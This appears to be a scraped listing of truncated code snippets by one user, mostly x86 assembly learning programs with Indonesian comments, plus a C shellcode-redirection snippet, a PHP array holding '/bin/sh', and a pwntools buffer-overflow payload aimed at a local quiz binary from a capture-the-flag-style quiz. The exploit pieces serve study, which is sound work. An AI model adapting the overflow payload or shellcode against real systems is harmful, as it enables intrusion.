febnug

32-bit ELF binary

how to assemble and link:

nasm -f elf32 -o <filename>.o <filename>.asm
ld -m elf_i386 -o <filename> <filename>.o

template code (hello world):

section .text
global _start

febnug

int timings[64*N];
int main(void)
{

    int i;

    __asm__ __volatile__ (  
       "lea edx, [timings] \n\t"  
       "rdtsc \n\t"  
       ".rept 32 \n\t"  

febnug

// solusi yang saya tulis di :
// https://stackoverflow.com/questions/59536438/calling-x86-local-function-using-shellcode

#include <stdio.h>
#include <string.h>

void redirect() {
    FILE *out = fopen("redirect.txt", "w");
    fprintf(out, "REDIRECT WORKED");
    fclose(out);

febnug

<?php

// Taken from : https://gist.github.com/ammarfaizi2/ac9639359a1f315f0aedc6a4bbbc60fb

$strings = [
    "/bin/sh"
//  "Enter Password: ",
//  "Enter Password 2: ",
//  "Enter Password 3: ",
//  "Wrong Password!\n",

febnug

; TODO: belum di test, mungkin broken (?)

global _start
section .text
_start:

    mov ecx, 0xc0000082
    rdmsr
    mov edx, 32
    mov ecx, edx

febnug

; bikin program .EXE compile dengan :
;
; C:\> tasm aa2
; C:\> tlink aa2
;
;
; belum di fix, masih ada bug

.model small
.stack 200h

febnug

; bikin program .EXE
;
; caranya :
;
; C:\> tasm BAJU
; C:\> tlink BAJU
;
; jalanin programnya :
;
; C:\> BAJU

febnug

; -- program input 2 digit angka lalu dijumlahkan --
;
; catatan:
;
; program ini langsung input 2 digit angka, karena bukan "buffered input"
; dan gak ada kondisi untuk input "0dh" (enter)
;
; compile pake nasm : nasm add.asm -o add.com
;
; -----------------------------------------------------------------------

febnug

; assembling using FASM on DOSBox
; fasm.exe utltu.asm
; utltu.com
;
; (c) 2021 Febriyanto Nugroho <[email protected]>

org 100h

        mov     ah, 09h
        mov     dx, pesan

febnug

# Download quiz : https://gnuweeb.org/quiz/003

from pwn import *

a = process("./003")

sec_func = p64(0x04010B9)
payload =  "\x41" * 504 + "\xff" * 8 + sec_func

a.sendline(payload)